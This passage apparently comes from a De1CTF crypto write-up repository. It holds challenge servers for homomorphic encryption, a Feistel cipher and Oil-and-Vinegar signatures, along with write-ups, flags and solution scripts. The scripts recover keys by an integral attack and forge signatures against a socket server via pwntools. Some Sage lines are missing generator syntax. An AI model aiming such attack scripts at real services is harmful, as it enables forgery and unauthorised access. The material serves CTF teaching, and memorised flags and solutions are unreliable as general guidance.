range(d): 15 | data = f.readline().strip("\n") 16 | pri.append(data) 17 | pri = Q([i for i in pri]) 18 | 19 | def Round(a,r): 20 | A = a.list() 21 | for i in range(len(A)): 22 | A[i] = (A[i]%r)-r if (A[i]%r) > r/2 else A[i]%r 23 | return Q(A) 24 | 25 | def decrypt(c,s): 26 | data = (t * Round(c[0] + c[1]*s,q)).list() 27 | for i in range(len(data)): 28 | data[i] = round(data[i]/q) 29 | data = Round(Q(data),t) 30 | return data 31 | 32 | FLAG = "" 33 | with open("FLAG.txt","r") as f: 34 | for i in range(44): 35 | c0 = [] 36 | for j in range(d): 37 | c0.append(f.readline().strip("\n")) 38 | c1 = [] 39 | for j in range(d): 40 | c1.append(f.readline().strip("\n")) 41 | c0 = Q([i for i in c0]) 42 | c1 = Q([i for i in c1]) 43 | FLAG += chr(int(decrypt((c0,c1),pri))) 44 | print FLAG -------------------------------------------------------------------------------- /writeup/crypto/Homomorphic/source code/task.sage: -------------------------------------------------------------------------------- 1 | from sage.stats.distributions.discrete_gaussian_integer import DiscreteGaussianDistributionIntegerSampler 2 | import os,random,sys,string 3 | from hashlib import sha256 4 | import SocketServer 5 | import signal 6 | from FLAG import flag 7 | 8 | assert(len(flag) == 44) 9 | 10 | q = 2^54 11 | t = 2^8 12 | d = 2^10 13 | delta = int(q/t) 14 | 15 | PR. = PolynomialRing(ZZ) 16 | DG = DiscreteGaussianDistributionIntegerSampler(sigma=1) 17 | fx = x^d + 1 18 | Q. = PR.quotient(fx) 19 | 20 | def sample(r): 21 | return Q([randint(0,r) for _ in range(d)]) 22 | 23 | def genError(): 24 | return Q([DG() for _ in range(d)]) 25 | 26 | def Round(a,r): 27 | A = a.list() 28 | for i in range(len(A)): 29 | A[i] = (A[i]%r) - r if (A[i]%r) > r/2 else A[i]%r 30 | return Q(A) 31 | 32 | def genKeys(): 33 | s = sample(1) 34 | a = Round(sample(q-1),q) 35 | e = Round(genError(),q) 36 | pk = [Round(-(a*s+e),q),a] 37 | return s,pk 38 | 39 | def encrypt(m): 40 | u = sample(1) 41 | e1 = genError() 42 | e2 = genError() 43 | c1 = Round(pk[0]*u + e1 + delta*m,q) 44 | c2 = Round(pk[1]*u + e2,q) 45 | return (c1.list(),c2.list()) 46 | 47 | def decrypt(c): 48 | c0 = Q([i for i in c[0]]) 49 | c1 = Q([i for i in c[1]]) 50 | data = (t * Round(c0 + c1*s,q)).list() 51 | for i in range(len(data)): 52 | data[i] = round(data[i]/q) 53 | data = Round(Q(data),t) 54 | return data 55 | 56 | class Task(SocketServer.BaseRequestHandler): 57 | def proof_of_work(self): 58 | random.seed(os.urandom(8)) 59 | proof = "".join([random.choice(string.ascii_letters+string.digits) for _ in range(20)]) 60 | digest = sha256(proof).hexdigest() 61 | self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest)) 62 | self.request.send("Give me XXXX:") 63 | x = self.request.recv(10) 64 | x = x.strip() 65 | if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: 66 | return False 67 | return True 68 | 69 | def recvall(self, sz): 70 | try: 71 | r = sz 72 | res = "" 73 | while r > 0: 74 | res += self.request.recv(r) 75 | if res.endswith("\n"): 76 | r = 0 77 | else: 78 | r = sz - len(res) 79 | res = res.strip() 80 | except: 81 | res = "" 82 | return res.strip("\n") 83 | 84 | def dosend(self, msg): 85 | try: 86 | self.request.sendall(msg) 87 | except: 88 | pass 89 | 90 | def check(self,m): 91 | m0,m1 = [abs(j) for j in m[0]],[abs(j) for j in m[1]] 92 | for f in FLAG: 93 | i0,i1 = [abs(j) for j in f[0]],[abs(j) for j in f[1]] 94 | if m0 == i0 and m1 == i1: 95 | return False 96 | return True 97 | 98 | def Encrypt(self): 99 | self.dosend("Please input your data:\n") 100 | data = self.recvall(20) 101 | result = [encrypt(ord(i)) for i in data] 102 | self.dosend("The result is: \n") 103 | self.dosend(str(result) + "\n") 104 | 105 | def Decrypt(self): 106 | self.dosend("Please input c0(Separated by commas):\n") 107 | c0 = (self.recvall(60*d)).split(",") 108 | c0 = [int(i) for i in c0] 109 | 110 | self.dosend("Please input c1(Separated by commas):\n") 111 | c1 = (self.recvall(60*d)).split(",") 112 | c1 = [int(i) for i in c1] 113 | 114 | self.dosend("The index:\n") 115 | index = int(self.recvall(60)) 116 | c = (c0,c1) 117 | 118 | if not self.check(c): 119 | self.dosend("No no no!\n") 120 | exit(0) 121 | result = decrypt(c) 122 | result = result.list()[index] 123 | 124 | self.dosend("The result is: \n") 125 | self.dosend(str(result) + "\n") 126 | 127 | 128 | def handle(self): 129 | try: 130 | signal.alarm(800) 131 | if not self.proof_of_work(): 132 | return 133 | seed = int(os.urandom(16).encode("hex"),16) 134 | set_random_seed(seed) 135 | 136 | global s,pk,FLAG 137 | s,pk = genKeys() 138 | FLAG = [encrypt(ord(i)) for i in flag] 139 | 140 | self.dosend("Welcome to the Homomorphic Encryption Crypto System.\n") 141 | self.dosend("The public keys are: \n") 142 | self.dosend("pk0: " + str(pk[0].list()) + "\n") 143 | self.dosend("pk1: " + str(pk[1].list()) + "\n") 144 | 145 | self.dosend("The enc flag is: \n") 146 | for i in FLAG: 147 | for j in i: 148 | self.dosend(str(j) + "\n") 149 | 150 | for _ in range(2**10): 151 | self.dosend("Tell me your choice:\n") 152 | choice = self.recvall(9) 153 | if choice == "Encrypt": 154 | self.Encrypt() 155 | elif choice == "Decrypt": 156 | self.Decrypt() 157 | else: 158 | self.dosend("No such choice!\n") 159 | 160 | self.request.close() 161 | except: 162 | self.dosend("Something error!\n") 163 | self.request.close() 164 | 165 | class ForkedServer(SocketServer.ForkingTCPServer, SocketServer.TCPServer): 166 | pass 167 | 168 | 169 | if __name__ == "__main__": 170 | HOST, PORT = "0.0.0.0", 8848 171 | server = ForkedServer((HOST, PORT), Task) 172 | server.allow_reuse_address = True 173 | server.serve_forever() 174 | -------------------------------------------------------------------------------- /writeup/crypto/Mini Purε Plus/WP.md: -------------------------------------------------------------------------------- 1 | ## Mini Purε Plus 2 | 3 | [Mini Purε](https://github.com/De1ta-team/De1CTF2019/tree/master/writeup/crypto/Mini Purε) is the crypto challenge of De1CTF 2019, this year I try to add the *ROUND* and give you data to attack. 4 | 5 | Here is the solution: 6 | 7 | Assume the input is $(C,x)$ , the output is $(C_L,C_R)$, then we can easily get the coefficients of $x^{3^{m-1}-1}$ and $x^{3^{m-1}-3}$ in $C_R$ is $k0$ and ${k0}^3 + k1 + C$ , where $C$ is a constant,$x$ is a variable and $k0,k1$ are the first and second round keys. 8 | 9 | So we can use [Square attack](https://en.wikipedia.org/wiki/Integral_cryptanalysis) to find this: 10 | $$ 11 | \sum_{x\in F_{2^n}}x^{2^{n} - 3^{m-1}}C_R(x) = k0 12 | $$ 13 | 14 | $$ 15 | \sum_{x\in F_{2^n}}x^{2^{n} - 3^{m-1}-2}C_R(x) = k0^3 + k1 + C 16 | $$ 17 | 18 | where $n=24,m=16$ 19 | 20 | Then we can get $k0,k1$ and get all keys to decrypt flag. 21 | 22 | And thanks to [Redbud](https://redbud.info/ctfteam.html), they provided an improved interpolation attack method. It also works. 23 | 24 | 25 | 26 | PS: Please download *pt.txt* and *ct.txt* from the address in *pt_ct_download.txt*. 27 | 28 | 29 | 30 | Reference: 31 | 32 | https://en.wikipedia.org/wiki/Integral_cryptanalysis 33 | 34 | https://link.springer.com/content/pdf/10.1007%2F978-3-642-03317-9_11.pdf 35 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /writeup/crypto/Mini Purε Plus/source code/data.txt: -------------------------------------------------------------------------------- 1 | Array: [[ 5614386 13443803 15608153 11666012 15061501 1161452 15622848 5912523 2 | 1390081 12599376 3487092 5949994 7478101 1024473] 3 | [ 684499 14712069 346171 15834106 9254202 7108196 14512266 1368524 4 | 13373794 11944295 8777545 10247833 9827403 4774512] 5 | [16337282 663253 13878689 1086081 11638447 1907450 1365910 5788047 6 | 15778632 2016323 4018842 8453086 10230275 12906196] 7 | [ 4393122 4386453 9367800 3865284 5479831 6835839 1496539 1894784 8 | 1786786 10577302 16089152 5124375 10167303 10713000] 9 | [ 7327441 8544997 16396331 14921677 11797334 16056575 12976826 7556007 10 | 12328357 2216996 11431720 11687872 10667005 14693688] 11 | [16489919 8524072 15470479 4270586 1731614 16044740 9919933 4625159 12 | 4920317 7184055 8770099 9831839 11019569 5746489] 13 | [16631412 5537147 7368423 2560691 10071051 11428529 1406537 6210492 14 | 1718663 4781228 5731020 6586371 6375310 11474767] 15 | [10233894 411222 9689916 9839067 16329860 15744628 5591518 9878639 16 | 13593251 2067079 16081834 6042539 13391040 3513409] 17 | [10565449 14482393 5233927 11662321 6958210 14028537 2188882 288675 18 | 4158951 1318892 2837385 11363014 5005637 5454249] 19 | [ 6925256 11205907 2834213 2392098 6282391 1001424 7450685 3210805 20 | 5694623 12992878 5184728 3256718 12213909 6863139] 21 | [ 7785165 4348403 571507 11078187 7982852 6526171 8715010 3666820 22 | 621717 12803381 7371306 9751221 7773057 13536933] 23 | [15891132 12915904 13936676 3658759 9715808 8422839 4050037 16624156 24 | 10479569 4647994 15294880 15055356 4597667 3765746] 25 | [14539770 4048424 15750552 11034746 12155223 13591868 3797660 3987394 26 | 14462199 2109138 11010700 16230596 12726921 698150] 27 | [ 9980752 13815750 3007549 1561343 7656913 2330293 1178876 3166472 28 | 15406146 12229242 15576200 2602046 2372694 12169687] 29 | [ 998623 3658373 10039056 10294637 3890825 7307367 492335 3307073 30 | 16229365 14098085 5108865 2959165 7581903 13006670] 31 | [ 4543601 31125 12541265 9750480 16614160 11172770 1503999 2503173 32 | 4474312 13494713 7848698 11648637 3638935 1079803]] 33 | Result: [ 5180331 2375769 4742270 5681254 3366314 8185819 10813013 11267945 34 | 14889369 8205217 3202830 9688489 11716629 840825] 35 | -------------------------------------------------------------------------------- /writeup/crypto/Mini Purε Plus/source code/exp.sage: -------------------------------------------------------------------------------- 1 | #keys = [16359893, 9091260, 11254674L, 353718L, 5395716L, 9319892L, 2360013L, 12784246L, 9857353L, 2940944L, 964650L, 3296014L, 7022345L, 198188L, 9208218L, 14944194L] 2 | F = GF(2**24) 3 | ROUND = 16 4 | 5 | def fbox(x): 6 | return F(x^3) 7 | 8 | def dec_block(cipher,keys): 9 | l = F.fetch_int(int(cipher[:6],16)) 10 | r = F.fetch_int(int(cipher[6:],16)) 11 | for i in range(ROUND): 12 | key = F.fetch_int(keys[ROUND-i-1]) 13 | l , r = r , l + fbox(key + r) 14 | l , r = r , l 15 | l = l.integer_representation() 16 | r = r.integer_representation() 17 | result = ((hex((l << 24) + r)[2:].rstrip('L')).rjust(12,'0')).decode('hex') 18 | return result 19 | 20 | def unpad(x): 21 | return x[:-ord(x[-1])] 22 | 23 | # Get k0 24 | P = 2^24 - 3^15 25 | count = 0 26 | with open('pt.txt','r') as ptfile: 27 | with open('ct.txt','r') as ctfile: 28 | sum = F.fetch_int(0) 29 | for i in range(2**24): 30 | if i%2**20 == 0: 31 | print '[+]k0 Round ' + str(count) 32 | count += 1 33 | pt = ptfile.readline()[:-2] 34 | ct = ctfile.readline()[:-2] 35 | pt = int(pt[6:],16) 36 | ct = int(ct[6:],16) 37 | x = F.fetch_int(pt) 38 | xr = F.fetch_int(ct) 39 | sum += x^P*xr 40 | k0 = sum.integer_representation() 41 | print('[+]Get k0: ') + str(k0) 42 | 43 | # Get k1 44 | P = 2^24 - 3^15 + 2 45 | c = F.fetch_int(0x777777) 46 | count = 0 47 | with open('pt.txt','r') as ptfile: 48 | with open('ct.txt','r') as ctfile: 49 | sum = F.fetch_int(0) 50 | for i in range(2**24): 51 | if i%2**20 == 0: 52 | print '[+]k1 Round ' + str(count) 53 | count += 1 54 | pt = ptfile.readline()[:-2] 55 | ct = ctfile.readline()[:-2] 56 | pt = int(pt[6:],16) 57 | ct = int(ct[6:],16) 58 | x = F.fetch_int(pt) 59 | xr = F.fetch_int(ct) 60 | sum += x^P*xr 61 | sum += (F.fetch_int(k0))^3 + c 62 | k1 = sum.integer_representation() 63 | print('[+]Get k1: ') + str(k1) 64 | 65 | # k0 = 16359893 66 | # k1 = 9091260 67 | p = 16777259 68 | 69 | with open('data.txt','r') as f: 70 | data = f.readlines() 71 | 72 | result = (data[-2][9:-2] + data[-1][:-3]).split(' ') 73 | res = [] 74 | for i in result: 75 | if i != '': 76 | res.append(int(i)) 77 | 78 | data = data[:-2] 79 | arr = [] 80 | for i in range(0,len(data),2): 81 | l = [] 82 | tmp = (data[i][:-2] + data[i+1][:-2]).replace('Array: ',' ').replace('[',' ').replace(']',' ').split(' ') 83 | for j in tmp: 84 | if j!= '': 85 | l.append(int(j)) 86 | arr.append(l) 87 | 88 | length = len(res) 89 | for i in range(length): 90 | res[i] = (res[i] - (arr[0][i] * k0 + arr[1][i] * k1)) % p 91 | arr = arr[2:] 92 | 93 | MS = MatrixSpace(GF(p),length,length) 94 | MSS = MatrixSpace(GF(p),1,length) 95 | A = MS(arr) 96 | s = MSS(res) 97 | inv = A.inverse() 98 | res_keys = s*inv 99 | keys = [int(x) for x in res_keys[0]] 100 | keys.insert(0,k1) 101 | keys.insert(0,k0) 102 | print '[+]Get keys: ' + str(keys) 103 | 104 | flag_enc = 'd519b93b0fd950bdf1e1c321fc32e4c4c4b225b80c1ba091f31217b90132ed107e1f6b1c9dd60ba0eafcdd5923764c46' 105 | flag = '' 106 | 107 | for i in range(0,len(flag_enc),12): 108 | cipher = flag_enc[i:i+12] 109 | flag += dec_block(cipher,keys) 110 | flag = unpad(flag) 111 | print '[+]Get flag: ' + flag 112 | -------------------------------------------------------------------------------- /writeup/crypto/Mini Purε Plus/source code/flag.txt: -------------------------------------------------------------------------------- 1 | d519b93b0fd950bdf1e1c321fc32e4c4c4b225b80c1ba091f31217b90132ed107e1f6b1c9dd60ba0eafcdd5923764c46 -------------------------------------------------------------------------------- /writeup/crypto/Mini Purε Plus/source code/pt_ct_download.txt: -------------------------------------------------------------------------------- 1 | https://drive.google.com/file/d/1cA7WGVby1DM3avKfcqWt3lv7fe0bKPnZ/view?usp=sharing -------------------------------------------------------------------------------- /writeup/crypto/Mini Purε Plus/source code/task.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | import os,random,sys,string 4 | import binascii 5 | from pyfinite import ffield 6 | from FLAG import flag 7 | import sympy 8 | import numpy as np 9 | from Crypto.Util.number import long_to_bytes 10 | 11 | ROUND = 16 12 | F = ffield.FField(24) 13 | flag = ''.join(['%02x' % b for b in flag.encode(encoding="utf-8")]) 14 | 15 | def pad(plain): 16 | pad_length = (6 - len(plain) % 6 ) % 6 17 | return plain + chr(pad_length) * pad_length 18 | 19 | def genkeys(): 20 | keys=[] 21 | for _ in range(ROUND): 22 | key = os.urandom(3) 23 | key_int = int(binascii.hexlify(key),16) 24 | keys.append(key_int) 25 | return keys 26 | 27 | def Mul(q1,q2): 28 | return F.Multiply(q1,q2) 29 | 30 | def fbox(x): 31 | return Mul(Mul(x,x),x) 32 | 33 | def enc_block(plain,keys): 34 | l = int(binascii.hexlify(plain[:3]),16) 35 | r = int(binascii.hexlify(plain[3:]),16) 36 | for i in range(ROUND): 37 | l , r = r , l ^ fbox(keys[i] ^ r) 38 | l , r = r , l 39 | result = (hex((l << 24) + r)[2:]).rjust(12,'0') 40 | return result 41 | 42 | def encrypt(plain, keys): 43 | p = '' 44 | for i in range(0,len(plain),2): 45 | p += chr(int(plain[i:i+2],16)) 46 | plain = pad(p).encode(encoding='utf-8') 47 | cipher = '' 48 | for i in range(0,len(plain),6): 49 | cipher += enc_block(plain[i:i+6],keys) 50 | return cipher 51 | 52 | keys = genkeys() 53 | with open('pt.txt','r') as ptfile: 54 | with open('ct.txt','w') as ctfile: 55 | while True: 56 | pt = ptfile.readline().rstrip('\n') 57 | if pt == '': 58 | break 59 | ct = encrypt(pt,keys) 60 | ctfile.write(ct + '\n') 61 | 62 | p = sympy.nextprime(2**24) 63 | arr = np.random.randint(0,p,(ROUND,ROUND-2),dtype='int64') 64 | keys = np.array(keys) 65 | res = np.mod(np.dot(keys,arr),p) 66 | 67 | with open('data.txt','w') as f: 68 | f.write('Array: ' + str(arr) + '\n') 69 | f.write('Result: ' + str(res) + '\n') 70 | 71 | with open('flag.txt','w') as f: 72 | ct = encrypt(flag,keys) 73 | f.write(ct) -------------------------------------------------------------------------------- /writeup/crypto/OV/WP.md: -------------------------------------------------------------------------------- 1 | ## OV 2 | 3 | This is a balanced oil and vinegar scheme. And it has been attacked by [Kipnis and Shamir in 1998](http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.120.9564&rep=rep1&type=pdf). 4 | 5 | So we can just use Kipnis-Shamir attack to solve this task. 6 | 7 | 8 | 9 | However I made some mistakes in the *hashFunction*. It should be like this: 10 | 11 | ```python 12 | H = [K.fetch_int(ord(i)) for i in m] 13 | ``` 14 | 15 | But I write it like this: 16 | 17 | ```python 18 | H = [ord(i) for i in m] 19 | ``` 20 | 21 | So there is a unexpected solution: just send *Iwanttoknowflag!* to sign and send the signed data to get flag. 22 | 23 | And thanks to [Mystiz](https://github.com/samueltangz) , he helped me to find out the unexpected solution and improve my solution scripts. 24 | 25 | Also thanks to [Hellman](https://github.com/hellman), he reminded me of this mistake too. 26 | 27 | 28 | 29 | Here is the excepted solution: 30 | 31 | ​ We assume public key is $P: k^n \rightarrow k^o$ , where $o = v = 16,n = o+v$ 32 | 33 | 1. Produce the corresponding symmetric matrices for the homogeneous quadratic parts of public key's polynomials: $W_1,W_2,...,W_o$. Randomly choose two linear combination of $W_1,W_2,...,W_o$ and still denote them as $W_1$ and $W_2$ in which $W_1,W_2$ is invertible. Calculate $W_{12} = W_1 * W^{-1}_2$. 34 | 2. Compute the minimal polynomial of $W_{12}$ and find its linear factor of multiplicity 1. Denote such factor as $h(x)$. Compute $h(W_{12})$ and its corresponding kernel. 35 | 3. For each vector $O$ in the kernel of step 2, use $OW_iO=0$, $(1 \leq i \leq o)$ to test if $O$ belongs to the hidden oil space. Choose linear dependent vectors among them and append them to set $T$. 36 | 4. If $T$ contains only one vector or nothing, go back to step 1. 37 | 5. If necessary, find more vectors in $T:O_3,O_4,...$ Calculate $K_{O_1} \bigcap ... \bigcap K_{O_t}$ to find out the hidden Oil space in which $K_{O_t}$ is a space from which the vectors $x$ satisfy that $O_tW_ix=0$, $(1 \leq i \leq o)$. 38 | 6. Extract a basis of hidden Oil space and extend it to a basis of $k^n$ and use it to transform the public key polynomials to basic Oil-Vinegar polynomials form. 39 | 40 | 41 | 42 | This write up doesn't write the whole content of Kipnis-Shamir attack, if you are interesting in it, you can see the papers in reference. Thanks. 43 | 44 | 45 | 46 | PS: I have fixed these mistakes including word spelling mistake and generated the new source code. You can try to solve this task. 47 | 48 | 49 | 50 | Reference: 51 | 52 | http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.120.9564&rep=rep1&type=pdf 53 | 54 | https://link.springer.com/content/pdf/10.1007%2F978-3-642-03317-9_11.pdf 55 | 56 | https://link.springer.com/chapter/10.1007/978-3-319-38898-4_4 57 | 58 | https://github.com/dsm501/Multivariate-cryptography-/blob/master/UOV Scheme.sagews -------------------------------------------------------------------------------- /writeup/crypto/OV/source code/FLAG.py: -------------------------------------------------------------------------------- 1 | flag = "De1CTF{23bdd7eb-844d-458c-bfae-9f8a5964865c}" -------------------------------------------------------------------------------- /writeup/crypto/OV/source code/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import hashlib 3 | import string 4 | #context.log_level = "debug" 5 | 6 | o = 16 7 | v = o 8 | n = o + v 9 | 10 | COMMAND = "iwanttoknowflag!" 11 | 12 | #r = remote("134.175.220.99",8848) 13 | r = remote("127.0.0.1",8848) 14 | 15 | 16 | def getFlag(s): 17 | r.sendline("GetFlag") 18 | r.recvuntil("Please input the sign data of \"" + COMMAND + "\"(Separated by commas):\n") 19 | r.sendline(s) 20 | r.recvuntil("Wow! How smart you are! Here is your flag:\n") 21 | flag = r.recvuntil("}") 22 | return flag 23 | 24 | def solve_PoW(suffix, h): 25 | print "solving PoW......" 26 | charset = string.letters + string.digits 27 | for p1 in charset: 28 | for p2 in charset: 29 | for p3 in charset: 30 | for p4 in charset: 31 | plaintext = p1 + p2+ p3+ p4 + suffix 32 | m = hashlib.sha256() 33 | m.update(plaintext) 34 | if m.hexdigest() == h: 35 | print "PoW solution has been found!" 36 | return p1+p2+p3+p4 37 | 38 | data = r.recvuntil("Give me XXXX:") 39 | suffix = re.findall(r"XXXX\+([^\)]+)",data)[0] 40 | h = re.findall(r"== ([0-9a-f]+)",data)[0] 41 | p = solve_PoW(suffix, h) 42 | r.send(p) 43 | 44 | r.recvuntil("Please tell me your name(at most " + str(o) + " bytes):\n") 45 | r.sendline("Anemone") 46 | 47 | r.recvuntil("The public keys are: \n") 48 | r.recvuntil("pk: ") 49 | pks = r.recvuntil("\n",drop=True) 50 | pks = pks.split(",") 51 | with open("pk.txt","w") as f: 52 | for i in pks: 53 | f.write(i.replace("[","").replace("]","") + "\n") 54 | 55 | r.recvuntil("Tell me your choice:\n") 56 | 57 | 58 | Sage = process(["sage", "exp.sage"]) 59 | for i in range(o): 60 | print "[+]Round: " + Sage.recvline().strip() 61 | Sage.recvline().strip() 62 | Sage.close() 63 | 64 | s = "" 65 | with open("flag.txt","r") as f: 66 | for i in range(n): 67 | s += f.readline().strip("\n") + "," 68 | s = s[:-1] 69 | 70 | flag = getFlag(s) 71 | print "[+]Get flag: " + flag 72 | 73 | r.close() -------------------------------------------------------------------------------- /writeup/crypto/OV/source code/exp.sage: -------------------------------------------------------------------------------- 1 | q = 256 2 | o = 16 3 | v = o 4 | n = o + v 5 | 6 | COMMAND = "iwanttoknowflag!" 7 | 8 | K. = GF(q) 9 | PR = PolynomialRing(K,'x',n) 10 | x = matrix(PR.gens()) 11 | 12 | def hashFunction(m): 13 | assert(len(m) == o) 14 | H = [K.fetch_int(ord(i)) for i in m] 15 | return H 16 | 17 | def sign(m,T,F): 18 | H = hashFunction(m) 19 | 20 | central_map = [x*F[i]*x.transpose() for i in range(o)] 21 | 22 | R = PolynomialRing(K,o,["x%s"%i for i in range(v,n)]) 23 | Rgen = R.gens() 24 | 25 | while True: 26 | images = [K.random_element() for i in range(v)] + list(Rgen) 27 | phi = PR.hom(images,R) 28 | central_map_sub = [phi(central_map[i][0]) for i in range(o)] 29 | s = [central_map_sub[i] - H[i] for i in range(o)] 30 | h = R.ideal(s) 31 | var = h.variety() 32 | if len(var) != 0: 33 | result = var[0] 34 | break 35 | preimage = vector(images[:v] + [result["x"+str(i)] for i in range(v,n)]) 36 | sign = T * preimage 37 | return sign 38 | 39 | def IntListEncoder(s): 40 | return [i.integer_representation() for i in s] 41 | 42 | def IntListDecoder(l): 43 | return vector([K.fetch_int(i) for i in l]) 44 | 45 | def PkDecode(pk): 46 | result = [] 47 | for i in pk: 48 | result.append(Matrix(K,[IntListDecoder(j) for j in i])) 49 | return result 50 | 51 | pk = [] 52 | with open("pk.txt","r") as f: 53 | for i in range(o): 54 | tmp = [] 55 | for j in range(n): 56 | tmp.append([int(f.readline().strip("\n")) for _ in range(n)]) 57 | pk.append(tmp) 58 | pk = PkDecode(pk) 59 | 60 | T = [] 61 | count = 0 62 | FLAG = 0 63 | flag = 0 64 | 65 | for i in range(len(pk)): 66 | if flag == 1: 67 | break 68 | for j in range(len(pk)): 69 | if flag == 1: 70 | break 71 | W = pk[i]*pk[j].inverse() 72 | fac = W.minimal_polynomial().factor() 73 | for k in fac: 74 | if k[1] == 1: 75 | data = k[0](W) 76 | ker = data.kernel() 77 | basis = ker.basis() 78 | if len(basis) != 1: 79 | for item in basis: 80 | if item*pk[j]*item == 0: 81 | if item in T: 82 | continue 83 | T.append(item) 84 | if Matrix(PR,T).rank() != len(T): 85 | T = T[:-1] 86 | else: 87 | count += 1 88 | print count 89 | if count == o: 90 | FLAG = 1 91 | break 92 | if FLAG == 1: 93 | flag = 1 94 | break 95 | 96 | V = VectorSpace(K,n) 97 | TT = [V(i) for i in T] 98 | So = V.subspace(TT) 99 | Sv = So.complement() 100 | 101 | o_basis = So.basis() 102 | v_basis = Sv.basis() 103 | 104 | Mo = matrix(o_basis) 105 | Mv = matrix(v_basis) 106 | M = Matrix.block([[Mv],[Mo]]) 107 | 108 | Mi = M.inverse() 109 | Mt = M.transpose() 110 | 111 | F = [M*pk[i]*Mt for i in range(o)] 112 | 113 | s = sign(COMMAND,Mt,F) 114 | s = IntListEncoder(s) 115 | with open("flag.txt","w") as f: 116 | for i in s: 117 | f.write(str(i) + "\n") 118 | print "Done" -------------------------------------------------------------------------------- /writeup/crypto/OV/source code/ov.sage: -------------------------------------------------------------------------------- 1 | class OV: 2 | def __init__(self,q,o,v): 3 | self.q = q 4 | self.o = o 5 | self.v = v 6 | self.n = o + v 7 | K. = GF(self.q) 8 | self.K = K 9 | self.PR = PolynomialRing(K,'x',self.n) 10 | self.x = matrix(self.PR.gens()) 11 | self.xt = self.x.transpose() 12 | 13 | def genKeys(self): 14 | B0 = [random_matrix(self.K,self.v,self.v) for _ in range(self.o)] 15 | B1 = [random_matrix(self.K,self.v,self.o) for _ in range(self.o)] 16 | B2 = [random_matrix(self.K,self.o,self.v) for _ in range(self.o)] 17 | B3 = [matrix(self.K,self.o,self.o) for _ in range(self.o)] 18 | 19 | self.F = [matrix.block([[B0[i],B1[i]],[B2[i],B3[i]]]) for i in range(self.o)] 20 | 21 | while true: 22 | self.T = random_matrix(self.K,self.n) 23 | if self.T.is_invertible(): 24 | break 25 | 26 | self.Tt = self.T.transpose() 27 | self.Ti = self.T.inverse() 28 | self.pk = [self.Tt*self.F[i]*self.T for i in range(self.o)] 29 | 30 | def hashFunction(self,m): 31 | assert(len(m) == o) 32 | H = [self.K.fetch_int(ord(i)) for i in m] 33 | return H 34 | 35 | def sign(self,m): 36 | H = self.hashFunction(m) 37 | 38 | central_map = [self.x*self.F[i]*self.xt for i in range(self.o)] 39 | 40 | R = PolynomialRing(self.K,self.o,["x%s"%i for i in range(self.v,self.n)]) 41 | Rgen = R.gens() 42 | 43 | while True: 44 | images = [self.K.random_element() for i in range(self.v)] + list(Rgen) 45 | phi = self.PR.hom(images,R) 46 | central_map_sub = [phi(central_map[i][0]) for i in range(self.o)] 47 | s = [central_map_sub[i] - H[i] for i in range(self.o)] 48 | h = R.ideal(s) 49 | var = h.variety() 50 | if len(var) != 0: 51 | result = var[0] 52 | break 53 | preimage = vector(images[:self.v] + [result["x"+str(i)] for i in range(self.v,self.n)]) 54 | sign = self.Ti * preimage 55 | return self.IntListEncoder(sign) 56 | 57 | def verify(self,sign,H): 58 | sign = self.IntListDecoder(sign) 59 | PK = [self.x*self.pk[i]*self.xt for i in range(self.o)] 60 | images = [i for i in sign] 61 | phi = self.PR.hom(images,self.K) 62 | pk_sub = [phi(PK[i][0]) for i in range(self.o)] 63 | return pk_sub == H 64 | 65 | def IntListEncoder(self,s): 66 | return [i.integer_representation() for i in s] 67 | 68 | def IntListDecoder(self,l): 69 | return vector([self.K.fetch_int(i) for i in l]) 70 | 71 | def PkEncoder(self): 72 | result = [] 73 | for i in self.pk: 74 | result.append([self.IntListEncoder(j) for j in i]) 75 | return result 76 | -------------------------------------------------------------------------------- /writeup/crypto/OV/source code/task.sage: -------------------------------------------------------------------------------- 1 | import os,random,sys,string 2 | from hashlib import sha256 3 | import SocketServer 4 | import signal 5 | load("ov.sage") 6 | from FLAG import flag 7 | 8 | q = 256 9 | o = 16 10 | v = 16 11 | n = o + v 12 | 13 | COMMAND = "iwanttoknowflag!" 14 | 15 | class Task(SocketServer.BaseRequestHandler): 16 | def pad(self,m): 17 | assert(len(m) <= o) 18 | pad_length = o - len(m) 19 | return m + pad_length * "\x00" 20 | 21 | def proof_of_work(self): 22 | random.seed(os.urandom(8)) 23 | proof = "".join([random.choice(string.ascii_letters+string.digits) for _ in range(20)]) 24 | digest = sha256(proof).hexdigest() 25 | self.request.send("sha256(XXXX+%s) == %s\n" % (proof[4:],digest)) 26 | self.request.send("Give me XXXX:") 27 | x = self.request.recv(10) 28 | x = x.strip() 29 | if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: 30 | return False 31 | return True 32 | 33 | def recvall(self, sz): 34 | try: 35 | r = sz 36 | res = "" 37 | while r > 0: 38 | res += self.request.recv(r) 39 | if res.endswith("\n"): 40 | r = 0 41 | else: 42 | r = sz - len(res) 43 | res = res.strip() 44 | except: 45 | res = "" 46 | return res.strip("\n") 47 | 48 | def dosend(self, msg): 49 | try: 50 | self.request.sendall(msg) 51 | except: 52 | pass 53 | 54 | def handle(self): 55 | try: 56 | signal.alarm(600) 57 | if not self.proof_of_work(): 58 | return 59 | seed = int(os.urandom(16).encode("hex"),16) 60 | set_random_seed(seed) 61 | 62 | self.dosend("Welcome to the Oil & Vinegar Crypto System.\n") 63 | self.dosend("Please tell me your name(at most " + str(o) + " bytes):\n") 64 | name = self.pad(self.recvall(o+1)) 65 | self.Check(name) 66 | 67 | ov = OV(q,o,v) 68 | self.ov = ov 69 | self.ov.genKeys() 70 | pk = self.ov.PkEncoder() 71 | s = self.ov.sign(name) 72 | 73 | self.dosend("Hello! " + name + "\n") 74 | self.dosend("Your sign is " + str(s) + "\n") 75 | self.dosend("The public keys are: \n") 76 | self.dosend("pk: " + str(pk) + "\n") 77 | 78 | for _ in range(3): 79 | self.dosend("Tell me your choice:\n") 80 | choice = self.recvall(9) 81 | if choice == "Sign": 82 | self.Sign() 83 | elif choice == "Verify": 84 | self.Verify() 85 | elif choice == "GetFlag": 86 | self.GetFlag() 87 | else: 88 | self.dosend("No such choice!\n") 89 | 90 | self.dosend("Bye bye~\n") 91 | self.request.close() 92 | except: 93 | 